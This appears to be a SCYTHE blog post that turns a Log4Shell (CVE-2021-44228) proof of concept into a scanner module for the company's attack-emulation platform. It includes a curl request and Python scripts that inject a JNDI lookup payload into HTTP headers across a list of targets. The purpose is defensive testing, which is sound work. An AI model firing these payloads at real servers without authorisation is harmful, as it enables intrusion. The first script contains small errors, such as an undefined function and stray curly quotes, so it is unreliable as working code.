Over the weekend, the infosec community put together many tools for scanning and identifying vulnerable Apache Log4j instances for CVE-2021-44228. Information security practitioners have posted Proof of Concept (PoC) code on Github for scanning and exploiting this CVE. In this blog post, we will be walking through taking a PoC to a SCYTHE Module.
If you are a SCYTHE operator and want to use the new module, it is available on our marketplace where you can download it and test your environment quickly.
We began by looking at this blog post, https://www.lunasec.io/docs/blog/log4j-zero-day/, which provided a good tutorial of how the exploit works, and what it is actually doing. Then we began by writing proof of concept code to see how this exploit will work.
We looked at the vulnerable code and found a docker container which allows us to test exploits.
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
From another window, we can test if our connection using the User-Agent header will work.
curl 127.0.0.1:8080 -H 'User-Agent: ${jndi:ldap://127.0.0.1/a}'
If you use the command “${jndi:ldap://127.0.0.1/a” you will get a “Hello World” which will show the code is vulnerable.
Now we can begin writing the python script to test this. Open up your favorite editor and create a new python script called log4j_poc.py. We can now install the following code.
import requests
def checkTarget(target,payload="${jndi:ldap://127.0.0.1/a}"):
try:
print(f"Trying {payload} on {target}")
req = requests.get(
target,
headers={"User-Agent":payload,'X-Api-Version': payload},
verify=False)
print(req.content)
except requests.exceptions.ConnectionError as e:
print(f"Connection Refused.")
except requests.exceptions.Timeout:
vprint("Request Timeout.")
except Exception as e:
vprint(“Exception raised: ” + str(e))
def main():
checkTarget("http://127.0.0.1:8080")
if __name__ == "__main__":
main()
Next we can run the following command to make sure we have the requests package installed. We can do this by running the following command.
On a terminal or powershell prompt, go to the directory where we created the python PoC and run the following commands.
python -m venv .env
/.env/Scripts/activate.bat
pip install requests
If we run this code that we have just written, we will see the following output.
python log4j-poc.py
Trying ${jndi:ldap://127.0.0.1/a} on http://127.0.0.1:8080
b'Hello, world!'
Now that our code works, and shows the output, we can start writing a new module.
If you don’t have the SCYTHE software development kit (SDK), it is here.
Open up the Module Buster SDK, and Click New Module.
… and click “Create Module”!
Now we can begin writing our SCYTHE Module.
This will create the following directory structure on your desktop:
C:\Users\<YOUR_USERNAME>\Desktop\modules\python3\log4j_scanner\windows\src\
All the files contained within the src directory utilize the default “Echo” SCYTHE Module. And there are two files particular worth noting:
A. The SCYTHE “client” file, which is the code that will be run on a target endpoint. Located at the following location:
B. The SCYTHE “server” file, which is the code the SCYTHE server uses to define arguments sent to the client, server-side formatting, etc., is located at:
We need to now add any 3rd party packages to our SCYTHE module. To do this we need to go look in our /.env/Lib/site-packages, and get the certifi, idna, requests, and urllib3 and copy them into our environment, ../src/py/ directory.
We can now start working on the source code for our SCYTHE module. If we open a text editor to .../src/py/log4j_scanner.py. Here we will change our code around a little bit to work in the SCYTHE environment.
import requests
verbose = True
result = ""
def vprint(status):
global result
result += str(status) + "\n"
if verbose:
print(status)
def checkTarget(target,payload):
try:
req = requests.get(
target,
headers={"User-Agent": payload},
verify=False,
)
vprint("Testing " + payload + " on " + target + " results: ")
if req.status_code >= 200 and req.status_code <= 300:
vprint(" " + req.text.strip())
except requests.exceptions.Timeout:
vprint("Request Timeout.")
except requests.exceptions.ConnectionError as e:
vprint(target + ": Connection Refused. ")
except Exception as e:
pass
def main(targets,payload):
global result
result = ""
for target in targets:
checkTarget(target=target,payload=payload)
return result
if __name__ == "__main__":
main(["http://localhost:8080"],"${jndi:ldap://127.0.0.1:80/a}")
Next we can write a client module.
We can do this by modifying the code in ../src/py/test_company/log4j_scanner/log4j_scanner.py.
We will only need to modify the run() function.
def run(message, **kwargs):
message_dict = json.loads(message.decode("utf-8"))
# Get result of main's return
result = log4j_scanner.main(targets=message_dict["targets"],payload=message_dict['payload'])
result = ''.join([c for c in result if ord(c) > 31 or ord(c) == 9])
message = result.encode("utf-8")
return message
The lines we’ve added will parse the dictionary we get from the SCYTHE server, and will call our main function from the PoC code we just modified in the log4j_scanner, in the top directory of py. We can now work on the server side code for us to pass in command line arguments to our code.
We can now modify the code under .../src/artifacts/scripts/test_company/log4j_scanner/log4j_scanner.py.
First we will modify the code to pass in our command line arguments. When we call the module from our server we want to provide the end user two options.
First they should be able to pass a list of targets for our code to scan. Next, they should be able to pass a different payload to try on the clients.
To accomplish this, we will change the create_parser function first.
def create_parser(db, os="windows"):
class ArgumentParser(argparse.ArgumentParser):
def error(self, message):
raise ValueError(message)
epilog = ' scythe.log4j_scanner --targets http://localhost:8080 http://domain.com \n'
parser = ArgumentParser(prog="log4j_scanner", description="Test a server for Log4j CVE-2021-44228E.",
epilog=epilog)
parser.add_argument("--targets", help="List of target servers to scan",required=True,nargs="*",type=str, default=[])
parser.add_argument("--payload",help="Payload to try on list of servers. Default: '${jndi:ldap://127.0.0.1:80/a}'",required=False,default="${jndi:ldap://127.0.0.1:80/a}")
return parser
Now we can pass in a command line argument as follows.
scythe.log4j_scanner --targets http://localhost:8080 http://localhost:1337
Next, we need to work on passing the list of targets and payload to our client.
We will do this by modifying the create_message_body function.
def create_message_body(db, command_line, campaign_name, endpoint_name):
parser = create_parser(db, db.get_campaign_operating_system_name(campaign_name))
if not command_line:
raise ValueError("Error: arguments are missing.")
else:
argv = shlex.split(command_line, posix=False)
args = parser.parse_args(argv)
if not args.targets:
raise ValueError(f"Error: --targets could not be parsed {args.targets}")
if not args.payload:
raise ValueError(f"Error: --payload could not be parsed {args.payload}")
dict_to_send = {
"targets" : args.targets,
"payload" : args.payload
}
return json.dumps(dict_to_send).encode("utf-8")
This now allows us to pass the list of our targets to the SCYTHE client to test. We now just need to modify one more function.
Now that we have the 3 components of our codebase written, we can test our codebase in module buster by performing the following commands.
On Windows:
In a developer command prompt, change directories to your C:\Users\<YOUR_USERNAME>\Desktop\modules\python3\log4j_scanner\windows and run the following command.
> ./build.bat
On Linux or macOS:
In a terminal windows, change directories to /Users/<YOUR_USERNAME>/Desktop/modules/python3/log4j_scanner/<linux,macos>/
> make
If there are no compilation options, we can now try running our codebase.
Then press Validate Module
If everything went well, we should be able to see this now.
This post discusses active research by SCYTHE and other cited third parties into an ongoing threat. The information in this post should be considered preliminary and may be updated as research continues. This information is provided “as-is” without any warranty or condition of any kind, either express or implied.
SCYTHE provides an advanced attack emulation platform for the enterprise and cybersecurity consulting market. The SCYTHE platform enables Red, Blue, and Purple teams to build and emulate real-world adversarial campaigns in a matter of minutes. Customers are in turn enabled to validate the risk posture and exposure of their business and employees and the performance of enterprise security teams and existing security solutions. Based in Arlington, VA, the company is privately held and is funded by Gula Tech Adventures, Paladin Capital, Evolution Equity, and private industry investors. For more information email info@scythe.io, visit https://scythe.io, or follow on Twitter @scythe_io.